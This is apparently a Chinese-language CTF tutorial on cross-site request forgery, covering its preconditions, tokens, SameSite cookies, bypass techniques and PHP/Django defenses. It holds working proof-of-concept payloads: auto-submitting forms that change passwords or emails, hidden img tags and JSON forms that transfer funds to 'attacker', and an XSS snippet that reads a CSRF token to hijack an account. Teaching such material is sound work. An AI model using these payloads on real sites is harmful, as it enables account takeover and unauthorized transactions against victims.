CSRF基础
CSRF基础
本文适合
CTF Web安全入门学习者。学完你能:理解 CSRF 的核心概念和基本用法
CSRF 是 Cross-Site Request Forgery,跨站请求伪造。它利用浏览器会自动携带登录态的特性,让受害者在不知情的情况下向目标站点发起操作请求。
CSRF 的核心条件
CSRF 成立通常需要三个条件:
用户已经登录目标站点。
浏览器会自动带上 Cookie 或认证信息。
目标站点只凭这些自动携带的信息判断操作合法,没有额外确认请求来源或意图。
攻击者不能读取响应,但可以诱导浏览器发请求。
和 XSS 的区别
XSS入门 是在目标站点上下文执行脚本。
CSRF 不需要在目标站点执行脚本,只需要让浏览器发出请求。
XSS 通常能读页面、读 token、发请求。
CSRF 通常只能发请求,不能直接读响应。
常见危险操作
修改密码。
绑定邮箱。
转账。
删除数据。
修改配置。
发帖或提交表单。
只读接口通常不是 CSRF 的重点,能改变状态的接口才危险。
CSRF Token
CSRF Token 是服务端生成的随机值,放在页面或接口中。
用户提交操作时必须带上正确 token。
攻击者虽然能诱导浏览器发送请求,但通常无法读取目标站点页面里的 token。
这就阻断了伪造请求。
CSRF PoC 示例
<!-- 最简 CSRF PoC:自动提交表单 -->
<html>
<body onload="document.getElementById('csrf-form').submit();">
<form id="csrf-form" action="http://target.com/change-password" method="POST">
<input type="hidden" name="new_password" value="hacked"/>
</form>
</body>
</html><!-- CSRF PoC:利用 img 标签触发 GET 请求 -->
<img src="http://target.com/transfer?to=attacker&amount=1000" style="display:none"/><!-- JSON CSRF:利用 form + enctype -->
<form action="http://target.com/api/transfer" method="POST" enctype="text/plain">
<input name='{"to":"attacker","amount":1000}' value=''/>
</form>SameSite Cookie
SameSite 是 Cookie 属性,用来限制跨站请求时是否携带 Cookie。
Strict 更严格,跨站基本不带。
Lax 允许部分顶级导航请求携带。
None 允许跨站携带,但通常要求 Secure。
CTF 中要结合浏览器行为判断,不要只看有没有 Cookie。
更多绕过方式
CSRF Token 绕过
1. Token 不绑定会话:删除 token 参数或置空,服务端可能不校验
2. Token 可预测:token 是时间戳、用户ID 或递增序列
3. Token 泄露:token 出现在 URL、Referer 或 JS 变量中
4. 子域名绕过:SameSite 不限制同站子域名
5. 方法覆盖:用 GET 代替 POST 绕过简单校验
6. 头部注入:X-Method-Override 等自定义头改变请求方法Referer 校验绕过
1. 去掉 Referer 头:某些浏览器允许不发送 Referer
2. Referer 包含目标域名:注册 evil-target.com 子域名
3. Referer 参数注入:在 Referer URL 中加入目标域名
4. 利用开放重定向:通过目标站点的重定向跳转<!-- 去掉 Referer 的方式 -->
<meta name="referrer" content="no-referrer">SameSite 绕过
SameSite=Lax 时:
- GET 请求可以携带 Cookie
- 顶级导航(链接、重定向)可以携带 Cookie
- 利用 window.open 或 meta refresh 触发 GET 请求
SameSite=None 时:
- 无限制,Cookie 随所有请求携带
- 但要求 Secure 标志,必须 HTTPS
绕过 Lax 的技巧:
- 2 分钟窗口:Chrome 对 Lax POST 有 2 分钟的窗口期允许携带 Cookie
- 利用目标站点的 XSS 或开放重定向
- 利用 Sibling 站点(同站不同端口)JSON CSRF
JSON 接口的 CSRF 需要特殊处理,因为不能直接用 form 提交 JSON。
<!-- 方法1:text/plain enctype -->
<form action="http://target.com/api/transfer" method="POST" enctype="text/plain">
<input name='{"to":"attacker","amount":1000,"ignore":"' value='"}' />
</form>
<script>document.forms[0].submit();</script>
<!-- 最终发送: {"to":"attacker","amount":1000,"ignore":"="} -->
<!-- 方法2:利用 Flash(已过时但可能在旧题中出现) -->
<!-- 方法3:利用 fetch + mode: no-cors -->
<script>
fetch('http://target.com/api/transfer', {
method: 'POST',
mode: 'no-cors',
headers: {'Content-Type': 'text/plain'},
body: JSON.stringify({to: 'attacker', amount: 1000})
});
</script>CSRF+XSS 组合
CSRF 和 XSS 组合使用威力更大:
XSS 可以:
1. 读取 CSRF token 并构造请求
2. 绕过 Same-origin policy 读取响应
3. 在目标站点上下文执行任意请求
4. 绕过 SameSite 限制(因为同源)
组合场景:
1. XSS 读取页面中的 CSRF token
2. 用 token 构造完整的 CSRF 请求
3. 修改密码、绑定邮箱、转移资产// XSS 读取 CSRF token 并发起 CSRF 攻击
var token = document.querySelector('meta[name="csrf-token"]').content;
var xhr = new XMLHttpRequest();
xhr.open('POST', '/change-email', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('email=attacker@evil.com&csrf_token=' + token);防御代码示例
服务端 Token 生成(PHP)
<?php
session_start();
// 生成 CSRF token
function generate_csrf_token() {
if (empty($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
return $_SESSION['csrf_token'];
}
// 验证 CSRF token
function verify_csrf_token($token) {
return isset($_SESSION['csrf_token']) &&
hash_equals($_SESSION['csrf_token'], $token);
}
// 表单中使用
echo '<input type="hidden" name="csrf_token" value="' . generate_csrf_token() . '">';
// 处理请求时验证
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (!verify_csrf_token($_POST['csrf_token'])) {
die('CSRF token 验证失败');
}
// 处理正常业务逻辑
}
?>Django CSRF 防护
# Django 默认开启 CSRF 防护
# 在模板中使用 {% csrf_token %}
# 在视图中使用 @csrf_protect 装饰器
# 如果 API 需要豁免 CSRF(不推荐)
from django.views.decorators.csrf import csrf_exempt
@csrf_exempt
def api_endpoint(request):
# 不校验 CSRF token,直接处理请求
if request.method == 'POST':
data = request.POST
# 处理业务逻辑
return JsonResponse({'status': 'ok'})
return JsonResponse({'status': 'method not allowed'}, status=405)
# 推荐:使用 DRF 的 SessionAuthentication 自带 CSRF 保护
from rest_framework.authentication import SessionAuthentication
class SecureView(APIView):
authentication_classes = [SessionAuthentication]
# 自动校验 CSRF token前端请求头防护
// 自定义请求头防护
// 浏览器不允许跨站请求携带自定义头(需 CORS 预检)
fetch('/api/transfer', {
method: 'POST',
headers: {
'X-Requested-With': 'XMLHttpRequest', // 自定义头
'Content-Type': 'application/json'
},
body: JSON.stringify({to: 'attacker', amount: 1000})
});
// 服务端校验 X-Requested-With 头
// 如果没有这个头,拒绝请求常见误区
- 把 CSRF 和 XSS 混为一谈。
- 以为 POST 请求就不会被 CSRF。
- 只看有没有 token,不看 token 是否校验。
- 忽略 JSON 接口也可能被错误配置影响。
- 忽略 SameSite 对攻击面的影响。
- 以为 SameSite=Lax 就绝对安全。
- 不测试 Referer 和 Origin 头的校验逻辑。
一句话判断
受害者已经登录目标站,攻击者能诱导受害者浏览器自动携带 Cookie 发出状态改变请求,而目标站没有有效校验请求意图时,就按 CSRF 分析。
CSRF 的重点是"能让受害者发请求并造成状态改变",通常不能直接读取响应。
题目中常见信号
- 修改密码、绑定邮箱、转账、删除、发帖等操作只依赖 Cookie。
- 表单没有 CSRF token,或 token 固定/可预测/不校验。
- GET 请求能改变状态。
- SameSite 为 None 或缺失。
- Origin/Referer 校验缺失或可绕过。
- JSON 接口接受
text/plain或表单变体。 - 题目有"让管理员访问此页面"的入口。
核心概念
CSRF 成立需要:
受害者已登录
+ 浏览器自动带凭据
+ 攻击者能构造同样的状态改变请求
+ 服务端没有额外验证 token/Origin/意图防御的关键是让攻击者无法构造完整合法请求,例如随机 CSRF token、严格 SameSite、Origin/Referer 校验和敏感操作二次确认。
最小分析流程
- 找状态改变接口,不要只看只读接口。
- 保存正常请求。
- 删除 CSRF token 或改成错误 token,观察是否仍成功。
- 检查 Cookie 的 SameSite。
- 用 HTML form 或 img 构造跨站请求。
- 如果是 JSON,测试
text/plain、简单请求或 CORS 配置。 - 在受害者登录状态下打开 PoC。
- 回到目标站确认状态是否改变。
最小验证示例
删除 token 测试:
curl -i -X POST 'https://target/change-email' \
-H 'Cookie: session=abc' \
--data 'email=attacker@example.com'HTML PoC:
<body onload="document.forms[0].submit()">
<form action="https://target/change-email" method="POST">
<input name="email" value="attacker@example.com">
</form>
</body>GET 型操作:
<img src="https://target/delete?id=123">成功标准:受害者打开 PoC 后,目标站状态真的改变。
常见利用 / 解题路线
路线总览:
路线一:无 token 表单 CSRF
复制正常 POST -> 做隐藏表单 -> 自动提交 -> 状态改变路线二:GET 状态改变
img/link/meta refresh 触发 GET -> 浏览器自动带 Cookie路线三:token 绕过
删除 token / 空 token / 固定 token / token 不绑定 session路线四:Referer/Origin 绕过
no-referrer / 包含目标域名的恶意域 / 开放重定向路线五:JSON CSRF
text/plain 表单构造近似 JSON
或接口错误接受简单请求 Content-Type常见失败原因
- 只看有没有 token:要验证错误 token 是否被拒绝。
- 没确认状态改变:请求发出不等于业务成功。
- SameSite 导致 Cookie 没带上:跨站请求可能变成游客身份。
- JSON 请求不是简单请求:浏览器可能先预检,普通表单发不了
application/json。 - Origin/Referer 被浏览器设置:不能随便伪造,需要找绕过条件。
- CSRF 和 CORS 混淆:CSRF 不要求读响应,CORS 才关注读响应。
迷你案例
目标修改邮箱请求:
POST /profile/email
Cookie: session=abc
email=new@example.com删除 token 后仍成功,说明没有有效 CSRF 防护。攻击页面:
<body onload="document.forms[0].submit()">
<form action="https://target/profile/email" method="POST">
<input type="hidden" name="email" value="attacker@example.com">
</form>
</body>受害者登录状态打开后,邮箱被改为攻击者邮箱。WP 要写清楚:接口改变状态、浏览器自动带 Cookie、没有 token/Origin 校验、PoC 导致状态改变。